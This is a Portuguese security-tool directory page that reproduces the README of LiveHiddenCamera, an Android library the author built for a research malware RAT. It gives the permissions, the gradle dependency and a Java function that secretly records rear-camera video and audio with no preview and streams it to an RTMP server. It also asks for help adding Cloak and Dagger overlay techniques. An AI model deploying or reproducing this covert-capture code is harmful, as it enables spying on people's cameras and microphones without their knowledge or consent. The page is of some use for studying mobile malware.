Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
LiveHiddenCamera — Live Hidden Camera é uma biblioteca que grava vídeo e áudio ao vivo de um dispositivo Android sem exibir uma pré-visualização. | Kitploit
Ferramentas/GitHubGitHub/mirsamantajbakhsh/livehiddencamera
Segurança AndroidAnálise de MalwareSegurança MóvelPrivacidadeFerramenta de Acesso Remoto
GitHubmirsamantajbakhsh/livehiddencamera

LiveHiddenCamera

Live Hidden Camera é uma biblioteca que grava vídeo e áudio ao vivo de um dispositivo Android sem exibir uma pré-visualização.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site
823511há 7 anosRevisado pelo Kitploit

Câmera Oculta ao Vivo

Câmera Oculta ao Vivo (LHC) é uma biblioteca que grava vídeo e áudio ao vivo de um dispositivo Android sem exibir uma prévia. Live Hidden Camera

Motivação

Estou trabalhando em um malware Android baseado em pesquisa e decidi criar uma RAT (Ferramenta de Administração Remota) multifuncional. Eu estava trabalhando em streams ao vivo e encontrei alguns projetos de código aberto baseados em RTMP, incluindo:

  • https://github.com/begeekmyfriend/yasea
  • https://github.com/ant-media/LiveVideoBroadcaster
  • https://github.com/TakuSemba/RtmpPublisher
  • https://github.com/fyhertz/libstreaming os quais todos apresentam algum tipo de problema baseado nos requisitos de uma RAT. Mas o problema comum era que todos precisam de uma Activity para incluir um SurfaceView.

Portanto, comecei a pesquisar. Finalmente, consegui criar a Câmera Oculta ao Vivo, que precisa apenas de um CONTEXT para transmitir vídeo ao vivo, combinando esses dois projetos:

  1. https://github.com/begeekmyfriend/yasea
  2. https://github.com/kevalpatel2106/android-hidden-camera

Como usar

Criei uma biblioteca para torná-la mais utilizável. O único requisito é adicionar a biblioteca ao seu projeto e passar a URL RTMP para ela.

Além disso, você deve se preocupar com:

  1. Sua aplicação deve ter as seguintes permissões no Manifest.xml:
root@kitploit:~
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. Você deve garantir que as permissões declaradas sejam concedidas à sua aplicação

Adicionando a biblioteca

O uso da biblioteca é direto. Basta adicionar a seguinte biblioteca ao arquivo gradle.build do seu projeto.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • Atualização: Na versão anterior, a Main Activity com o filtro de inicialização estava na biblioteca, o que fazia com que o aplicativo (que usa a biblioteca) tivesse dois ícones. Nesta versão, o filtro está comentado no Manifest.

Criando um servidor RTMP

Antes de usar a biblioteca, você deve ter implantado um servidor RTMP. Usei o Ant Media Server. Há um guia excelente sobre a instalação do Ant Media Server neste LINK.

Após iniciar o servidor RTMP Ant Media, você deve ver algo assim: Ant Media Server

Código de exemplo

Após adicionar a biblioteca ao seu projeto, siga os seguintes passos:

  1. Crie uma classe que implemente: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. Crie dois campos (um para publicar e um para prévia):

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. Implemente uma função para iniciar a Câmera Oculta ao Vivo:

root@kitploit:~
    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Peça ao usuário para conceder permissão.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //iniciar config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

Problemas

Tela Verde

O principal problema que estou enfrentando atualmente é a tela verde. Descrevi o erro no StackOverflow em https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

Se você tiver alguma sugestão sobre esse problema, ou qualquer outra ideia, não hesite em me contatar.

Visualização Constante

Devido à sobreposição da Câmera Oculta ao Vivo, nenhum outro aplicativo pode ser clicado. Os cliques são aceitos apenas pelo LHC. Consulte a seção TODO.

TODO

Há um projeto chamado Cloak and Dagger que revelou uma capacidade muito perigosa no Android. Qualquer contribuição no uso do Cloak and Dagger no LHC é bem-vinda.

Confira o Cloak and Dagger aqui:

  1. http://cloak-and-dagger.org
  2. https://medium.com/@targetpractice/cloak-and-dagger-malware-techniques-demystified-c4d8a035b94e

Doar

Você pode doar para este projeto usando meu endereço BitCoin em:

root@kitploit:~
BitCoin:

1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS

Contato

Você pode me encontrar no meu site: https://mstajbakhsh.ir/

Baixar ferramenta